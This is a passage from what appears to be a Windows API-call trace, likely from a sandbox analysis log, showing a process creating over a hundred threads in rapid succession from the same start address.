	[0226.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef01b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc
	[0226.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef01c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200
	[0226.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef01c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204
	[0226.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef01d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208
	[0226.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef01d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c
	[0226.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef01e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210
	[0226.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef01e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214
	[0226.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef01f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218
	[0226.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef01f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c
	[0226.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220
	[0226.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224
	[0226.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228
	[0226.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c
	[0226.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230
	[0226.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234
	[0226.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238
	[0226.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c
	[0226.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240
	[0226.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244
	[0226.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248
	[0226.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c
	[0226.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250
	[0226.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254
	[0226.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0226.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0226.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260
	[0226.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0226.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x268
	[0226.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c
	[0226.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef02a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0226.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef02a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274
	[0226.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef02b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278
	[0226.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef02b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c
	[0226.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef02c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280
	[0227.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef02c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284
	[0227.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef02d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
	[0227.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef02d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c
	[0227.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef02e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290
	[0227.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef02e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294
	[0227.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef02f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298
	[0227.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef02f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c
	[0227.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0
	[0227.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4
	[0227.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8
	[0227.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac
	[0227.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0
	[0227.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4
	[0227.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8
	[0227.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc
	[0227.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0
	[0227.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4
	[0227.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8
	[0227.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0358, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc
	[0227.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0
	[0227.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4
	[0227.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8
	[0227.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0378, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc
	[0227.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0
	[0227.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4
	[0227.178] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8
	[0227.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec
	[0227.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef03a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0
	[0227.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef03a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4
	[0227.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef03b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8
	[0227.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef03b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc
	[0227.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef03c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300
	[0227.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef03c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304
	[0227.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef03d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x308
	[0227.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef03d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x30c
	[0227.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef03e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x310
	[0227.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef03e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314
	[0227.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef03f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318
	[0227.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef03f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c
	[0227.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x320
	[0227.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324
	[0227.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328
	[0227.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330
	[0227.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334
	[0227.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338
	[0227.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c
	[0227.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340
	[0227.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344
	[0227.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348
	[0227.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c
	[0227.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x350
	[0227.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354
	[0227.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0468, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358
	[0227.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c
	[0227.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360
	[0227.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364
	[0227.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368
	[0227.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c
	[0227.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370
	[0227.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef04a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374
	[0227.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef04a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378
	[0227.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef04b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c
	[0227.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef04b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380
	[0227.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef04c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384
	[0227.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef04c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388
	[0227.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef04d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c
	[0227.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef04d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390
	[0227.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef04e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394
	[0227.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef04e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398
	[0227.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef04f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c
	[0227.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef04f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0
	[0227.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4
	[0227.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8
	[0227.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac
	[0227.476] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0
	[0227.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4
	[0227.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8
	[0227.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc
	[0227.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0
	[0227.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4
	[0227.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8
	[0227.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc
	[0227.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0
	[0227.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4
	[0227.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8
	[0227.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc
	[0227.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0
	[0227.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4
	[0227.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8
	[0227.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec
	[0227.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0
	[0227.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef05a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4
